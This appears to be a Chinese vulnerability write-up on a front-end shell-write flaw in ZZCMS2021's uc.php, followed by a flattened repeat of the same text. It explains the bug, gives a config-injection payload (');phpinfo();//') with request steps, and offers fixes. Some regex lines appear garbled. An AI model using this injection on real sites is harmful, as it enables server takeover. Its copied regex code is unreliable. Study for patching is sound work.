代码审计-zzcms2021前台写shell?
字数 909 2025-08-03 16:47:15

ZZCMS2021 前台写Shell漏洞分析与利用

漏洞概述

ZZCMS2021 存在一个前台写Shell漏洞,攻击者可以通过精心构造的请求在前台直接写入恶意代码到配置文件,从而获取服务器控制权限。该漏洞位于 /3/ucenter_api/api/uc.php 文件中,涉及加密参数处理和配置文件写入操作。

漏洞分析

漏洞位置

  • 文件路径: /3/ucenter_api/api/uc.php
  • 关键参数: code (GET参数)
  • 处理流程:
    1. 通过GET传参code
    2. 使用_authcode函数解密code
    3. 使用parse_str解析解密后的内容并赋值给$get
    4. 通过xml_unserialize处理输入内容获取$post

关键函数分析

_authcode 加密/解密函数

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);  // 使用UC_KEY作为默认密钥
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    
    // ...省略部分加密逻辑...
    
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

漏洞触发点

updateapps方法中:

$UC_API = $post['UC_API'];
$configfile = preg_replace("/define$'UC_API',\s*'.*?'$;/i", "define('UC_API', '$UC_API');", $configfile);

漏洞利用

利用条件

  1. 需要知道或能够获取UC_KEY
  2. 能够发送GET和POST请求到目标系统

利用步骤

  1. 构造加密的code参数:

    • 需要包含time()以通过时间验证
    • 使用UC_KEY进行加密
  2. 构造恶意POST数据:

    $UC_API = ');phpinfo();//';
    

    这将闭合原始定义并注入恶意代码

  3. 发送请求:

    • GET请求包含加密的code参数
    • POST请求包含恶意构造的UC_API

实际利用示例

  1. 构造加密的code参数:
// 示例加密代码(需要实际UC_KEY)
$code = _authcode('time='.time(), 'ENCODE', UC_KEY);
  1. 发送恶意请求:
GET /3/ucenter_api/api/uc.php?code=[加密后的code] HTTP/1.1
Host: target.com

POSTDATA:
<xml>
<UC_API>);phpinfo();//</UC_API>
</xml>

漏洞修复

  1. 临时修复方案:

    • 限制/3/ucenter_api/api/uc.php的访问权限
    • 过滤$post['UC_API']中的特殊字符
  2. 永久修复方案:

    • 修正正则表达式中的空格问题:
      preg_replace("/define$'UC_API',\s*'.*?'\s*$;/i", ...)
      
    • 对写入内容进行严格过滤和验证
    • 更新到官方最新版本

注意事项

  1. 实际利用时需要注意正则表达式匹配问题,原漏洞分析中提到正则缺少空格可能导致匹配失败
  2. 该漏洞需要知道UC_KEY才能构造有效的加密参数
  3. 写入的配置文件通常为config.inc.php,需要确认具体路径

总结

该漏洞通过精心构造的加密参数和未过滤的输入,实现了前台写入恶意代码的能力。虽然实际利用存在一定限制(如需要UC_KEY和正则匹配问题),但仍是一个高危漏洞,应及时修复。

ZZCMS2021 前台写Shell漏洞分析与利用 漏洞概述 ZZCMS2021 存在一个前台写Shell漏洞,攻击者可以通过精心构造的请求在前台直接写入恶意代码到配置文件,从而获取服务器控制权限。该漏洞位于 /3/ucenter_api/api/uc.php 文件中,涉及加密参数处理和配置文件写入操作。 漏洞分析 漏洞位置 文件路径: /3/ucenter_api/api/uc.php 关键参数: code (GET参数) 处理流程: 通过GET传参 code 使用 _authcode 函数解密 code 使用 parse_str 解析解密后的内容并赋值给 $get 通过 xml_unserialize 处理输入内容获取 $post 关键函数分析 _ authcode 加密/解密函数 漏洞触发点 在 updateapps 方法中: 漏洞利用 利用条件 需要知道或能够获取 UC_KEY 值 能够发送GET和POST请求到目标系统 利用步骤 构造加密的code参数 : 需要包含 time() 以通过时间验证 使用 UC_KEY 进行加密 构造恶意POST数据 : 这将闭合原始定义并注入恶意代码 发送请求 : GET请求包含加密的 code 参数 POST请求包含恶意构造的 UC_API 值 实际利用示例 构造加密的code参数: 发送恶意请求: 漏洞修复 临时修复方案 : 限制 /3/ucenter_api/api/uc.php 的访问权限 过滤 $post['UC_API'] 中的特殊字符 永久修复方案 : 修正正则表达式中的空格问题: 对写入内容进行严格过滤和验证 更新到官方最新版本 注意事项 实际利用时需要注意正则表达式匹配问题,原漏洞分析中提到正则缺少空格可能导致匹配失败 该漏洞需要知道 UC_KEY 才能构造有效的加密参数 写入的配置文件通常为 config.inc.php ,需要确认具体路径 总结 该漏洞通过精心构造的加密参数和未过滤的输入,实现了前台写入恶意代码的能力。虽然实际利用存在一定限制(如需要UC_ KEY和正则匹配问题),但仍是一个高危漏洞,应及时修复。